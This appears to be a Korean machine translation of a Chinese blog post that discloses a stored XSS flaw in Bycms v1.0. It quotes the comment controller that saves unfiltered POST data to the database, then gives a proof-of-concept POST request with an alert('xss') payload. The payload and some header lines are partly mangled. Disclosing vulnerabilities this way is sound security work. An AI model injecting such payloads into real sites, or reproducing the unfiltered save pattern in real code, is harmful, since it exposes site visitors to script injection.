>  기사  >  백엔드 개발  >  Bycms v1.0은 XSS를 저장했습니다.

Bycms v1.0은 XSS를 저장했습니다.

炎欲天舞
炎欲天舞원래의
2017-08-21 10:21:121827검색

0x00 서문:

홈 페이지에서 로컬로 환경을 구축하기 위해 Windows PHPstudy 통합 환경을 사용합니다. 사용이 매우 편리합니다. 특히 감사 중에는 더욱 그렇습니다. PHP 버전을 마음대로 전환할 수 있습니다.

0x01 CMS 소개:

byCms는 thinkphp5.0.9를 기반으로 하는 간단하고 사용하기 쉬운 콘텐츠 관리 시스템으로, 기사, 사진, 다운로드 및 비디오 모델을 포함하며 개발자를 돕기 위해 설계되었습니다. 웹 애플리케이션 비용 절감 백엔드 개발 시간과 에너지는 가능한 한 빨리 고품질 웹 애플리케이션을 개발하는 데 소비됩니다. PC, 휴대폰, WeChat, Android 앱, Apple 앱 포함, 다중 단말기 데이터 동기화!
주요 기능: tp5.0.9 기반, 5.0.10으로 원활하게 업그레이드 가능, PSR-2, PSR-4 사양 준수, Composer 및 유닛 테스트, 매우 엄격한 오류 감지 및 보안 메커니즘, 자세한 로그 정보, 개발 보호용 ; 코어 종속성 감소, 확장을 더욱 유연하고 편리하게 만들고 명령줄 명령 확장 지원, 원격 디버깅, API 개발에 대한 더 나은 지원, 라우팅, 구성 및 자동 로딩을 위한 캐싱 메커니즘; 모델과 협회.

0x02 Text:

먼저 디렉터리 구조를 살펴보겠습니다.

먼저 Index.php를 열고 살펴보겠습니다. 아래 그림을 보면 프로그램 디렉토리가 다음과 같은 것을 알 수 있습니다: application

프론트엔드 템플릿을 살펴보겠습니다

컨트롤러가 8개 있다는 것을 알 수 있습니다. 각 컨트롤러는 기능 모듈을 나타냅니다.

취약점 위치(댓글 기능 컨트롤러) : /bycms/application/index/controller/Comment.php

취약점이 있는 줄 수 : 24줄


<?php
namespace app\index\controller;
use think\Controller;
use think\Db;
class Comment extends Home{
    
    
    public function add($id=""){  
        if(!is_login()){
            $this->error("请先登录");
        }
       $id=input(&#39;doc_id&#39;);     
        if(!($id && is_numeric($id))){
           $this->error(&#39;ID错误!&#39;);
        }else{
           $where["id"]=$id;
        }
        $info= Db::name(&#39;document&#39;)->where($where)->find();
        if(!$info){
            $this->error(&#39;文章不存在!&#39;);
        } 
         if($_POST){
           $Comment = new \app\index\model\Comment;
           $res=$Comment->validate(true)->allowField(true)->save($_POST);
           if($res){
               Db::name(&#39;document&#39;)->where($where)->setInc("comments");
              $this->success("发布成功!");
           }else{
              $error=$Comment->getError()?$Comment->getError():"发布失败!";
              $this->error($error);
           } 
      }
    }

As 위 코드 라인 22-27에서 볼 수 있습니다. 이 코드 조각. 중국어의 대략적인 의미는 다음과 같습니다.

먼저 $_POST에 수신되는 데이터가 있는지 확인합니다. 그런 다음 24행의 save 메소드에서 $_POST가 전달한 content 매개변수의 데이터를 데이터베이스에 직접 기록합니다. 필터링이 수행되지 않았습니다. 이를 통해 코드 프로토타입을 데이터베이스에 직접 삽입할 수 있습니다.

POST 패킷:

POST /shenji/bycms/index.php/index/comment/add.html HTTP/1.1
호스트: 192.168.1.111 사용자 에이전트: Mozilla/5.0(Windows NT 6.1; WOW64; rv:55.0 ) Gecko/20100101 Firefox/55.0
 Accept: */*
 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 Accept-Encoding: gzip, deflate
콘텐츠 유형: application/x-www-form-urlencoded; charset=UTF-8
 article/detail/id/93.html
 콘텐츠 길이: 57
 쿠키: PHPSESSID=j6cht7fitg6l4eoajtscmvth56
 연결: close

 doc_id=93 &컨텐츠 =3f1c4e4b6b16bbbd69b2ee476dc4f83aalert('xss')2cacc6d41bbb37262a98f745aa00fbf0

위 내용은 Bycms v1.0은 XSS를 저장했습니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.